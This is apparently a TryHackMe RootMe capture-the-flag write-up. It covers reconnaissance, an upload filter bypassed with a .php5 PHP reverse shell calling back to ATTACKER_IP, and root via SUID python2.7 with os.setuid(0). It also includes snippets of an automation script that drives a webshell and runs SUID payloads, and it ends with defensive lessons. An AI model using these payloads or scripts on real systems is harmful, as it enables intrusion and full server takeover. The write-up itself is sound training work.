Back to CTF Writeups

RootMe — TryHackMe CTF

TryHackMe Easy Feb 16, 2026 0xb0rn3 | 0xbv1

Overview

RootMe is a beginner-friendly CTF challenge that tests fundamental web exploitation and Linux privilege escalation skills. The attack chain involves:

  1. Reconnaissance and service enumeration
  2. Web directory brute-forcing
  3. File upload filter bypass to gain a reverse shell
  4. SUID binary abuse for privilege escalation

Automation Available

I've created a full automation script (rootmeautopwn) that performs the entire exploitation chain automatically. The script is available in my CTFS GitHub repository.

Skip to: Automation Script Breakdown to see how it works, or continue reading for the manual walkthrough.

Table of Contents

Phase 1: Reconnaissance

Port Scanning & Service Detection

nmap -sV -sC -p 80,443,8080 10.49.170.219

Results:

PortStateServiceVersion
80openhttpApache httpd 2.4.41 (Ubuntu)
443closedhttps-
8080closedhttp-proxy-

Key Findings:

  • Apache Version: 2.4.41 (Ubuntu)
  • PHP is running (PHPSESSID cookie detected)
  • Site title: "HackIT - Home" with prompt "Can you root me?"

HTTP Header Confirmation

curl -sI http://10.49.170.219/
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=...; path=/
Content-Type: text/html; charset=UTF-8
Answer: The Apache version running is 2.4.41

Phase 2: Directory Enumeration

Gobuster Scan

gobuster dir -u http://10.49.170.219/ \
  -w /usr/share/dirb/wordlists/common.txt \
  -t 10 --timeout 60s
PathStatusDescription
/index.php200Main page
/css301Stylesheet directory
/js301JavaScript directory
/panel301Upload panel (hidden directory!)
/uploads301Uploaded files directory
/server-status403Forbidden
Answer: The hidden directory is /panel/

Phase 3: Exploitation — File Upload Bypass

Discovering the Upload Form

Navigating to http://10.49.170.219/panel/ reveals a file upload form:

<form action="" method="POST" enctype="multipart/form-data">
    <input type="file" name="fileUpload" class="fileUpload">
    <input type="submit" value="Upload" name="submit">
</form>

Testing the Filter

Attempting to upload a .php file returns:

PHP não é permitido!

Translation: "PHP is not allowed!" — The server blocks .php extensions.

Bypass Strategy

The filter only checks for the .php extension. Alternative PHP extensions that Apache will still execute:

Crafting the Reverse Shell

Created a PHP reverse shell saved as shell.php5:

<?php
set_time_limit(0);
$ip = 'ATTACKER_IP';
$port = 4444;
$shell = 'uname -a; w; id; /bin/bash -i';

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
?>

Upload & Execution

# Upload the shell
curl -X POST -F "fileUpload=@shell.php5" \
  -F "submit=Upload" http://10.49.170.219/panel/
# Response: "O arquivo foi upado com sucesso!"

# Start listener
nc -lvnp 4444

# Trigger the shell
curl http://10.49.170.219/uploads/shell.php5

Result: Reverse shell received as www-data

User Flag

cat /var/www/user.txt
🚩 USER FLAG: THM{y0u_g0t_a_sh3ll}

Phase 4: Privilege Escalation

SUID Binary Enumeration

find / -perm -4000 -type f 2>/dev/null
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python2.7    <-- UNUSUAL!
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
Answer: The weird SUID file is /usr/bin/python2.7

Why is python2.7 SUID Dangerous?

Python with the SUID bit set allows any user to execute Python code with root privileges. This is a critical misconfiguration because Python can directly manipulate process UIDs via the os module.

Reference: GTFOBins — Python SUID

Exploitation

python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'

This:

  1. os.setuid(0) — Sets effective UID to root, works because SUID makes the process run as file owner (root)
  2. os.system("/bin/bash") — Spawns a root shell

Verification

id
# uid=0(root) gid=33(www-data) groups=33(www-data)

Root Flag

cat /root/root.txt
🚩 ROOT FLAG: THM{pr1v1l3g3_3sc4l4t10n}

Attack Chain Summary

Manual vs Automated

MethodTimeCommandsBest For
Manual~15-30 min20+Learning, understanding the attack flow
Automated~2-5 min1Speed, repeatability, portfolio demonstration
Reconnaissance Directory Enum Upload Bypass | | | nmap -sV gobuster dir shell.php5 Apache 2.4.41 /panel/ found filter bypassed | | | +--------+--------------+-----------+-----------+ | | Web Shell / Reverse Shell www-data access | | find SUID binaries python2.7 found | | os.setuid(0) ROOT ACCESS | | cat /root/root.txt THM{pr1v1l3g3_3sc4l4t10n}

Flags Captured

FlagLocationValue
user.txt/var/www/user.txtTHM{y0u_g0t_a_sh3ll}
root.txt/root/root.txtTHM{pr1v1l3g3_3sc4l4t10n}

Automation Script Breakdown

For efficiency and repeatability, I automated the entire RootMe exploitation chain into a single bash script. This section breaks down how the automation works — perfect for beginners who want to understand the connection between manual exploitation steps and scripting.

Why Automate CTFs?

  • Learning: Writing automation forces you to understand the exploit chain deeply
  • Speed: Re-pwn the box in seconds if the instance resets
  • Portfolio: Demonstrates scripting and automation skills to employers
  • Practice: Build tools that work across similar challenges

How the Script Works

The rootmeautopwn script mirrors the manual exploitation process but runs end-to-end without human intervention:

Phase 1: Dependencies Check ↓ Phase 2: Interactive Configuration (target IP, listener IP, port) ↓ Phase 3: Reconnaissance (nmap scan, Apache version detection) ↓ Phase 4: Directory Enumeration (gobuster → /panel/, /uploads/) ↓ Phase 5: Upload Bypass (.php5, .phtml, .php4 iteration) ↓ Phase 6: Webshell Verification (GET ?cmd=echo+EXEC_OK) ↓ Phase 7: Flag Retrieval (find user.txt, enumerate SUID) ↓ Phase 8: Privilege Escalation (python/perl/find SUID exploit) ↓ Phase 9: Root Flag (cat /root/root.txt) ↓ Mission Report Generated

Script Architecture

Download: rootmeautopwn on GitHub

The script is organized into discrete phases that can fail gracefully. If directory enumeration doesn't find /panel/, the script tries a manual curl check before giving up. If all upload extensions fail, it reports the failure and stops.

1. Dependency Auto-Installation

check_deps() {
    local missing=()
    for tool in nmap gobuster curl nc; do
        if ! command -v "$tool" &>/dev/null; then
            missing+=("$tool")
        fi
    done
    
    if [ ${#missing[@]} -ne 0 ]; then
        if [ -f /etc/arch-release ]; then
            sudo pacman -S --noconfirm "${missing[@]}"
        elif [ -f /etc/debian_version ]; then
            sudo apt-get install -y "${missing[@]}"
        fi
    fi
}

Checks if nmap, gobuster, curl, and nc are installed. Auto-installs via pacman (Arch) or apt (Debian/Ubuntu). Eliminates "command not found" errors — portable across distros.

2. Network Interface Auto-Detection

get_config() {
    LHOST=$(ip addr show tun0 2>/dev/null | \
            grep "inet " | awk '{print $2}' | cut -d/ -f1)
    if [ -z "$LHOST" ]; then
        LHOST=$(ip route get 1.1.1.1 2>/dev/null | \
                awk '{print $7; exit}')
    fi
    echo -e "[*] Detected LHOST: $LHOST"
    read -rp "[?] Use this IP? (y/n): " confirm
}

Auto-detects your VPN IP from tun0 (TryHackMe OpenVPN), falls back to default route. No more manual ifconfig lookups.

3. Upload Filter Bypass Loop

phase_exploit() {
    local extensions=("php5" "phtml" "php4" "php3" "phps")
    
    for ext in "${extensions[@]}"; do
        local test_name="test_$(head -c 4 /dev/urandom | xxd -p).$ext"
        local response=$(curl -s -X POST \
            -F "fileUpload=@$webshell;filename=$test_name" \
            -F "submit=Upload" \
            "http://$TARGET/panel/")
        
        if echo "$response" | grep -qi "sucesso\|success"; then
            local exec_test=$(curl -s \
                "http://$TARGET/uploads/$test_name?cmd=echo+EXEC_OK")
            if echo "$exec_test" | grep -q "EXEC_OK"; then
                echo "[+] Code execution confirmed with .$ext"
                break
            fi
        fi
    done
}

Iterates through 5 PHP extensions until one bypasses the filter. Tests code execution immediately after each upload. Random filenames (test_a3f8b2c1.php5) prevent collisions on re-runs.

4. SUID Auto-Exploitation

phase_flags() {
    local suid_list=$(exec_cmd \
        "find /usr/bin -perm -4000 -type f 2>/dev/null")
    local weird=$(echo "$suid_list" | \
        grep -E "python|perl|ruby" | head -1)
    
    if echo "$weird" | grep -q "python"; then
        root_flag=$(exec_cmd \
            "$weird -c 'import os;os.setuid(0);os.system(\"cat /root/root.txt\")'")
    elif echo "$weird" | grep -q "perl"; then
        root_flag=$(exec_cmd \
            "$weird -e 'use POSIX;setuid(0);exec(\"cat /root/root.txt\")'")
    fi
}

Finds SUID binaries, filters for exploitable interpreters, and runs the correct GTFOBins payload automatically.

5. Webshell Command Executor

exec_cmd() {
    local cmd="$1"
    local encoded=$(python3 -c \
        "import urllib.parse; print(urllib.parse.quote('$cmd'))")
    curl -s "$SHELL_URL?cmd=$encoded"
}

URL-encodes every command and sends it to the webshell. Handles spaces, special characters, and quotes transparently.

Running the Script

# Clone the repo
git clone https://github.com/0xb0rn3/CTFS.git
cd CTFS/THM/rootmeCTF

# Make executable & run
chmod +x rootmeautopwn
./rootmeautopwn
[?] Enter target IP:
>> 10.10.x.x

[*] Detected LHOST: 10.8.x.x
[?] Use this IP for reverse shell? (y/n):
>> y

[?] Listener port (default 4444):
>> 

[!] Ready to pwn 10.10.x.x. Proceed? (y/n):
>> y

Output Artifacts

Everything is saved to a timestamped directory rootme_pwn_YYYYMMDD_HHMMSS/:

FileContentsUse Case
nmap_scan.txtnmap greppable outputReference scan results later
gobuster_results.txtDirectory enumerationVerify all discovered paths
suid_binaries.txtFull SUID binary listAudit for other privesc paths
webshell_url.txtActive webshell URLManual interaction if needed
flags.txtBoth user.txt and root.txtSubmit to TryHackMe

Learning from the Automation

Beginner Tips

  • Don't just run it blind: Read through the script first, understand what each phase does
  • Compare to manual steps: Notice how phase_exploit() mirrors the manual upload bypass
  • Experiment: Add more upload extensions, try different SUID payloads
  • Debug mode: Add set -x at the top to see every command
  • Adapt it: Use as a template for other rooms with similar attack chains

Common Issues & Fixes

ErrorCauseFix
"No wordlist found"SecLists not installedScript auto-generates minimal wordlist
"LHOST detection failed"VPN not connectedConnect to TryHackMe VPN first
"All upload bypass failed"Room config changed or wrong targetVerify target IP, check /panel/ manually
"SUID not found"Script only checks /usr/binExpand search to /bin /usr/local/bin

Lessons Learned

  1. Never rely on extension-based file upload filtering alone. Blacklisting .php is easily bypassed with alternative extensions. Use allowlisting and validate file content/MIME types instead.
  2. SUID binaries should be audited regularly. Tools like find / -perm -4000 reveal dangerous misconfigurations. Interpreters should never have SUID set.
  3. Principle of least privilege matters. The web server running as www-data with upload access combined with SUID python created a direct path from anonymous web access to root.
  4. Defense recommendations:
    • Implement allowlist-based upload filtering (only .jpg, .png, etc.)
    • Validate file content with magic bytes, not just extensions
    • Remove SUID bit from interpreters: chmod u-s /usr/bin/python2.7
    • Use AppArmor/SELinux to restrict web server capabilities
    • Store uploads outside the webroot or disable PHP execution in upload directories

Tools Used

ToolPurpose
nmapPort scanning & service detection
gobusterDirectory brute-forcing
curlHTTP requests & file upload
ncReverse shell listener
python2.7SUID privilege escalation
rootmeautopwnFull automation script (all phases)

Script Repository

The automation script and other CTF tools are available in my CTFS GitHub repository. Contributions and improvements welcome!